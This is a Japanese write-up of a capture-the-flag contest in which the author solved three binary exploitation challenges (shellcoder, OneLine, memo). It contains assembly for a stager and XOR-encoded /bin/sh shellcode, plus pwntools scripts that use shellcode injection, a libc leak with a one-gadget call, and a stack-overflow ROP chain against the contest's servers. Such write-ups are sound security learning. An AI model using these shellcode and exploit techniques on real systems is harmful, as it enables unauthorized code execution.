douroとしてソロ参加しました。2000pt獲得しての41位でした。
少しずつ手を付けて主にpwnとrevを頑張りました。
無駄に時間を使って手をつけれなかった問題があり、反省点です。 babyheapはdouble freeでエラーを吐いて無理だったのですが、libcのバージョンが駄目だったらしい。
shellcoder
/bin/shの文字列が使えないので,xorする処理を考えるが、バイト数の制限が面倒。
stagerを書いて、mmapされている領域の余った部分にreadで追加のシェルコードを書いて処理を飛ばす。0x1000もあるので自由だし、長さを気にせず書ける。
nxbitが立っているので、mmapされていないスタックに飛ばすと止まるので注意。
stager.s
section .text global _start _start: mov rsi,rdx add rsi,0x40 mov rdi,0 mov rdx,136 xor rax,rax syscall jmp rsi
shellcode.s
section .text global _start _start: push rbp mov rbp,rsp push rax xor rdx, rdx xor rsi, rsi mov rbx,QWORD 0x544f131352555e13 push rbx lea rax,[rsp] mov cl,byte [rax] xor cl,0x3c mov byte [rax],cl add rax,0x1 mov cl,byte [rax] xor cl,0x3c mov byte [rax],cl add rax,0x1 mov cl,byte [rax] xor cl,0x3c mov byte [rax],cl add rax,0x1 mov cl,byte [rax] xor cl,0x3c mov byte [rax],cl add rax,0x1 mov cl,byte [rax] xor cl,0x3c mov byte [rax],cl add rax,0x1 mov cl,byte [rax] xor cl,0x3c mov byte [rax],cl add rax,0x1 mov cl,byte [rax] xor cl,0x3c mov byte [rax],cl add rax,0x1 mov cl,byte [rax] xor cl,0x3c mov byte [rax],cl add rax,0x1 mov QWORD [rax],0 push rsp pop rdi xor rbx,rbx xor rcx,rcx mov rax, 59 syscall
シェルコードを生成するスクリプト
gencode.sh
nasm -f elf64 $1.s ld -o $1 $1.o objdump -d $1 | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | perl -pe 's/\r?\n//' | sed 's/$/\n/'
ループはjmp先の記憶が面倒なので一文字ずつxorしていったが、まとめてxorしたほうがよい。
確実に動作するためジャンプ先にあるゴミを除去し(/bin/shの末尾をnull終端)、一応色々なレジスタを初期化するコードを書いた。
わかりやすさ重視でいってしまったが格好悪いコードになった。
from pwn import * p = remote("153.120.129.186", 20000) print(p.recv()) shellcode = b"\x55\x48\x89\xe5\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x13\x5e\x55\x52\x13\x13\x4f\x54\x53\x48\x8d\x04\x24\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x48\xc7\x00\x00\x00\x00\x00\x54\x5f\x48\x31\xdb\x48\x31\xc9\xb8\x3b\x00\x00\x00\x0f\x05" stager = b"\x48\x89\xd6\x48\x83\xc6\x40\xbf\x00\x00\x00\x00\xba\x88\x00\x00\x00\x48\x31\xc0\x0f\x05\xff\xe6" print(len(shellcode)) print(len(stager)) p.sendline(stager) p.sendline(shellcode) p.interactive()
OneLine
適当に一文字書き込んでwriteのアドレスをリークすることができる。
libcのアドレスしかわからないのでone gadget rceするのがはやい。
もちろんlibcのガジェットを用いてropすることもできると思う。
bofのオフセットは出すのが面倒だったので適当にたくさん入力した。
from pwn import * import time context.log_level="DEBUG" #server = process(["socat","tcp-listen:1234,fork,reuseaddr","exec:./speedrun-001"]) #gdb.attach(server, """ # set follow-fork-mode child # c #""") #time.sleep(2) one_gadget = 0x10a38c libc_write = 0x000000000110140 p = process("./oneline") p = remote("153.120.129.186",10000) print(p.recv()) p.send("\x00") leak = p.recvuntil(b"\x7f") tmp = leak[32:] leaked_write = u64(tmp+b"\x00"*(8-len(tmp))) print(hex(leaked_write)) offset = leaked_write - libc_write target = one_gadget + offset p.send(p64(target)*0x10) p.interactive()
memo
確保できる領域のサイズに制限があるが、素直に大きく確保するとスタックから離れてしまう。
しかし、unsignedな比較を行っているため、負の値を入力できる。
適当に試行錯誤し、rbp+8のリターンアドレスに書き込めるようにする。
hiddenのsystemを呼び出すことになるが、このときrsp+0x40のアドレスの末尾を0にしていなければmovaps命令の制約によりエラーが出る。
retを用いてスタックをずらすことで解決した。
from pwn import * import time #p = process("./memo") #context.log_level="DEBUG" #gdb.attach(p, """ # set follow-fork-mode child # c #""") #time.sleep(2[f:id:Nperair:20190526162439p:plain]) hidden = 0x00000000004007bd ret = 0x0040056e p = remote("133.242.68.223",35285) print(p.recv()) p.sendline(str(-0x61).encode("utf-8")) print(p.recv()) buf = p64(0) buf += p64(ret) buf += p64(hidden) buf += b"\x00"*0x400 p.sendline(buf) print(p.recv()) p.interactive()